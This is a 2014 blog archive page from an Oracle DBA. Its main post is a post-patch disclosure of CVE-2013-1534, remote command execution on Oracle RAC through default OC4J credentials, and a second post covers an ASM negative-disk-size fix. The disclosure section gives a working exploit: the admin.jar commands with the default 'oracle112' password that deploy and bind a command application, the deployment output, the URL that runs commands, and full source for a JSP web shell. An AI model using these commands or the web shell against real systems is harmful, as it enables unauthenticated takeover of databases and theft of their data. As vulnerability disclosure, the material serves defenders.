Archive for January, 2014

CVE-2013-1534: remote command execution on Oracle RAC (Grid Infrastructure >= 11.2.0.[23].0 till PSU/CPU Apr2013)

Thursday, January 23rd, 2014

In April 2013 Oracle fixed CVE-2013-1534 an attack that I’m going to describe here as the guy who originally found it in February 2012 (it was an 0-day for more than a year). For official information please go here Critical Patch Update April 2013. One thing though i do not agree with Oracle that it scored it with score 7.5. This statement goes like this “For Linux, Unix and other platforms, the CVSS Base Score is 7.5, and the impacts for Confidentiality, Integrity and Availability are Partial+.” Basically this is remote attack that gains Oracle Grid Infrastructure owner privileges (basically “oracle”/”dba” in 99% cases) on clustered (RAC) Oracle databases, which gives you access in read/write mode to *all* data. Here I’m following responsible disclosure (vendor notified, fixed, clients alerted) … many, many months later I think all responsible people who care have already patched their Oracle RAC systems… for Patch Set 11.2.0.3.x this means it has been fixed via Grid Infrastructure + DB PSU (PatchSetUpdate) >= 11.2.0.3.6 (current PSU is 11.2.0.3.9; for 11.2.0.3.6 the recommended Oracle Alert docId is 1525152.1: Patch Set Update and Critical Patch Update April 2013 Availability Document).

Oracle starting in release of Grid Infrastructure 11gR2 (technically 11.2.0.1) added something like Quality of Service (QoS) for Databases which in practice gives ability for DBAs to better utilize usage of resource between nodes in cluster in compatibility with business requirements. SLA are being managed by the newly introduced QoS functionality by placing workloads on “server pools”. QoS in 11.2.0.1 was not full activated but starting in Grid Infrastructure 11.2.0.2 it is online by default, even without confirmation, etc. It is also being activated by default on any upgrade.

The QoS on RAC/Grid Infrastructure is partially being implemented by embedded Oracle Containers for Java (OC4J).

qosadmin account (with always default pw of “oracle112″ per Oracle documentation on every install) has always an oc4j-administrators role assigned in /u01/app/11.2.0/grid/oc4j/j2ee/home/OC4J_DBWLM_config ($GRID_HOME/oc4j/j2ee/home/OC4J_DBWLM_config) in file system-jazn-data.xml (JAZN stands for Java AuthoriZatioN). The same security configuration file is also being used as place to control of whether username:password pair is authorized to deploy any J2EE application.

This means that OC4J is prone to arbitrary command execution on any Oracle clustered (RAC) database running at least on top of Oracle Clusterware (AKA Grid Infrastructure) >= 11.2.0.2, until CPU (PSU) April 2013 has been applied. This affects both customers using QoS and those not using it. The reason is because OC4J service (serving HTTP interface over port 8888) is always and by definition enabled. The attack would by definition use “qosadmin” account… The QoS for RAC documentation (which nobody does read because it is “new” feature and by definition nobody uses nothing in production like this) states that the password for “qosadmin” should be changed because it may be used for QoS-related functionality. The remaining functionality seems to be not enabled because it was not configured… but there’s more.

What’s more interesting is that there is second account named “oc4jadmin” (a typical default OC4J admin), after brute-forcing it also appears to be set to “oracle112″… on every installation out there… and you won’t find a single line in official documentation for RAC that this “backdoor” should be disabled. So in summary every RAC >= 11.2.0.2.0 on this planet has the same passwords set for uploading J2EE applications remotely over RMI (Java thing). The oc4jadmin account is also assigned the oc4j-administrators role.

Some more details:
a) platform independent (100% success rate) exploitation vector
b) arbitrary command execution
c) gives UID of Oracle Grid Infrastructure software owner (typically “oracle” [1] or “grid” [2])
d) affects RAC >= 11.2.0.2, >= 11.2.0.3, has been tested on
[*] 11.2.0.2.0 (linux x86_64),
[*] 11.2.0.3.0 (linux x86_64),
[*] 11.2.0.3.1 // CPU Jan2012
[*] 11.2.0.3.2 // CPU Apr2012
[*] 11.2.0.3.5 // CPU Jan2013
e) so by definition it will also work against flagship Oracle Exadata “Unbreakable” Database Machine (http://www.oracle.com/us/products/database/exadata/overview/index.html) as it utilizes Oracle RAC/Grid Infrastructure
f) this thing is remote
g) this thing does NOT require any sort of authentication (just plain TCP/IP connectivity to the servers is enough)
h) vulnerability is present in any installation of Oracle Grid Infrastructure >= 11.2.0.2.0
i) no social engineering is required at all
j) remote ports 23792 and 8888 needs to be reachable to at least single RAC node (the one running the RMI service)
k) it does NOT work against Oracle Restart (single server non-RAC Grid Infrastructure installation)

[1] – by being “oracle” UNIX/Linux user one can connect “/ AS SYSDBA” so it is full compromise of data (including modification). Additionally because it is compromise giving shell access it is very easy to also defeat Oracle Database Vault (additional option for segregation of DBAs from users – think in terms of MAC vs DAC [4]). If you are interested in defeating Oracle Databases with Vault option then I recommend you the following link http://jakub.wartak.pl/blog/?p=92 :)

[2] – when a new feature “Role Separation” introduced in 11gR2 [separates ASM/Grid/Clusterware admins from DBAs] is deployed, which is very rare, it is still possible to get root, I’ll blog about it in future. That’s why probably Oracle scored it CVSS 7.5, but the main point is it is very rare to see separated Grid Infrastructure owner from Oracle RDBMS Home owner

….ooooOOOO Exploitation Demonstration OOOOoooo…..

OC4J provides a command-line utility, admin.jar and admin_client.jar. You can use any of them however I’ve only tested admin.jar (which of course is installed with any OC4J, RAC >= 11.2.0.2.0 software too). Both JARs are actually just simple tools to upload single EAR file and reconfigure remote OC4J so that is starts serving requests for certain uploaded applications under specific URLs. We are going to upload cmd.ear :) The best documentation on them comes directly from Oracle e.g. here
http://docs.oracle.com/cd/B31017_01/web.1013/b28951/overview.htm#CJAJHJIA

The easiest way to get the admin.jar (however I’ve used the one coming with RAC) is to download it from Oracle OC4J download page as it contains “OC4J Admin Client” (link http://www.oracle.com/technetwork/middleware/ias/downloads/101310-085449.html , 3 disks, total 1.4GB). Probably you need to use admin.jar/admin_client.jar as close to the version of OC4J being attacked (e.g. usage of 9.x.x admin.jar might fail uploading to RAC >= 11.2.0.2 as the OC4J embedded there is at version 10.1.3, etc). I would recommend installing it on RHEL/OL compatible Linux distribution if possible (due to the enterprise nature of Oracle software). The other thing is that you could probably use some ready-to-run RAC VirtualMachine Linux template from Oracle (works for me under XEN). I’ve also tried the metasploit generic RMI uploaders (for JBoss if i remember correctly) but I’ve failed (perhaps it’s possible, but IMHO there are more easy ways).

Actually there are only 2 commands and 1 click to exploit this vulnerability. You do not need to write any tools/exploits, just execute several commands to upload cmd.ear onto vulnerable RAC installation due to the default passwords being deployed.

1. Deploy/upload file (exploit) to vulnerable RAC cluster
————————————————————-

Detail: java -jar admin.jar ormi://<target>:23792 qosadmin oracle112  -deploy -file <path_cmd_exploit.ear> -deploymentName cmd

e.g.:

[root@attacker home]# /u01/app/11.2.0/grid/jdk/jre/bin/java -jar admin.jar ormi://labr2:23792 qosadmin oracle112  -deploy -file ~/cmd.ear -deploymentName cmd
Uploading file /root/cmd.ear to oc4j server side
[ 2012-06-08 08:14:39.290 EDT ] Application Deployer for cmd STARTS.
[ 2012-06-08 08:14:40.850 EDT ] Copy the archive to /u01/app/11.2.0/grid/oc4j/j2ee/home/applications/cmd.ear
[ 2012-06-08 08:14:40.879 EDT ] Initialize /u01/app/11.2.0/grid/oc4j/j2ee/home/applications/cmd.ear begins...
[ 2012-06-08 08:14:40.881 EDT ] Unpacking cmd.ear
[ 2012-06-08 08:14:40.887 EDT ] Done unpacking cmd.ear
[ 2012-06-08 08:14:40.895 EDT ] Unpacking cmd.war
[ 2012-06-08 08:14:40.905 EDT ] Done unpacking cmd.war
[ 2012-06-08 08:14:40.906 EDT ] Initialize /u01/app/11.2.0/grid/oc4j/j2ee/home/applications/cmd.ear ends...
[ 2012-06-08 08:14:40.907 EDT ] Starting application : cmd
[ 2012-06-08 08:14:40.907 EDT ] Initializing ClassLoader(s)
[ 2012-06-08 08:14:40.908 EDT ] Initializing EJB container
[ 2012-06-08 08:14:40.909 EDT ] Loading connector(s)
[ 2012-06-08 08:14:40.921 EDT ] Starting up resource adapters
[ 2012-06-08 08:14:40.921 EDT ] Initializing EJB sessions
[ 2012-06-08 08:14:40.922 EDT ] Committing ClassLoader(s)
[ 2012-06-08 08:14:40.922 EDT ] Initialize cmd begins...
[ 2012-06-08 08:14:40.927 EDT ] Initialize cmd ends...
[ 2012-06-08 08:14:40.929 EDT ] Started application : cmd
[ 2012-06-08 08:14:40.932 EDT ] Application Deployer for cmd COMPLETES. Operation time: 1642 msecs

[root@attacker home]#

2. Now we bind EAR(application/exploit) to the URL of OC4J server
————————————————————————-
Once the J2EE(EAR) application has been deployed you need to bind it to visible URL:

[root@attacker home]# /u01/app/11.2.0/grid/jdk/jre/bin/java -jar admin.jar ormi://labr2:23792 qosadmin oracle112 -bindWebApp cmd cmd default-web-site /cmd
[root@attacker home]#

Basically you can specify qosadmin or oc4jadmin, as I’ve stated earlier it doesn’t matter.

3. Profit!
——————————————–
OK, you need to open web-browser first and go to URL http://target:8888/cmd/cmd.jsp?cmd=id+-a , where target is one hostname of the RAC nodes

Or if you need kicking ass web GUI interface to own someone: http://RACtarget:8888/cmd/

-J.

p.s. the cmd.jsp (and EAR built from it – i’m not going to provide it) is very simple:

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>

ASM diskgroup with negative disk sizes

Tuesday, January 7th, 2014

Sometimes as DBA you will see strange signs on your way, like this one ASM +DATA diskgroup with no data, no files something taking space(notice the Total_MB != Free_MB):

ASMCMD> lsdg
State    Type    Rebal  Sector  Block       AU  Total_MB  Free_MB  Req_mir_free_MB  Usable_file_MB  Offline_disks  Voting_files  Name
MOUNTED  EXTERN  N         512   4096  1048576   4095940  3271458                0         3271458              0             N  DATA/
MOUNTED  EXTERN  N         512   4096  1048576    102398   102304                0          102304              0             N  REDO/
MOUNTED  EXTERN  N         512   4096  1048576      1019      623                0             623              0             Y  SYSTEMDG/
ASMCMD> find +DATA *
ASMCMD> ls +DATA
ASMCMD> lsdsk
Path
/dev/oracleasm/disks/DATA_05
/dev/oracleasm/disks/DATA_06
/dev/oracleasm/disks/DATA_07
/dev/oracleasm/disks/DATA_08
/dev/oracleasm/disks/DATA_09
/dev/oracleasm/disks/DATA_10
/dev/oracleasm/disks/DATA_11
/dev/oracleasm/disks/DATA_12
/dev/oracleasm/disks/DATA_13
/dev/oracleasm/disks/DATA_14
/dev/oracleasm/disks/REDO_02
/dev/oracleasm/disks/SYSTEMDG_DISK01
ASMCMD>

Rebalance won’t help, ASM logs are clear and so you are more and more confused. The situtation is a little bit awkward but one can find a negative (!) capacity (close to -2^32 value) of some ASM disks that were recently added:

ASMCMD> lsdsk -k -G DATA
Total_MB      Free_MB   OS_MB  Name       Failgroup  Failgroup_Type  Library  Label  UDID  Product  Redund   Path
  409594       409037  409594  DATA_0000  DATA_0000  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_05
  409594       408885  409594  DATA_0001  DATA_0001  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_06
  409594       408895  409594  DATA_0002  DATA_0002  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_07
  409594       408680  409594  DATA_0003  DATA_0003  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_08
  409594       408987  409594  DATA_0004  DATA_0004  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_09
  409594       408931  409594  DATA_0005  DATA_0005  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_10
  409594       409079  409594  DATA_0006  DATA_0006  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_11
  409594       408964  409594  DATA_0007  DATA_0007  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_12
  409594  -4294555512  409594  DATA_0008  DATA_0008  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_13
  409594  -4294554748  409594  DATA_0009  DATA_0009  REGULAR         System                         UNKNOWN  /dev/oracleasm/disks/DATA_14
ASMCMD>

To fix the problem one can drop the affected ASM disks, remove ASMLib labels, and the critical thing is to reinitialize/overwrite with 0 (using dd from /dev/zero) large header on the individual LUN (at least 10MB) and afterwards re-add those disks (using ASMLib) to the diskgroup using normal ALTER DISKGROUP +DG ADD DISK syntax. Afterwards you will find normal utilization in the diskgroup:

SQL> select name, state, type, total_mb, free_mb from v$asm_diskgroup;

NAME                           STATE       TYPE     TOTAL_MB    FREE_MB
------------------------------ ----------- ------ ---------- ----------
DATA                           MOUNTED     EXTERN    4095940    4090620
REDO                           MOUNTED     EXTERN     102398     102304
SYSTEMDG                       MOUNTED     EXTERN       1019        623

SQL>

Reason: probably LUN disks were not properly initialized (only 1MB has been overwritten), however no errors were found during 1st initialization. Another strange thing on so not critical development system :)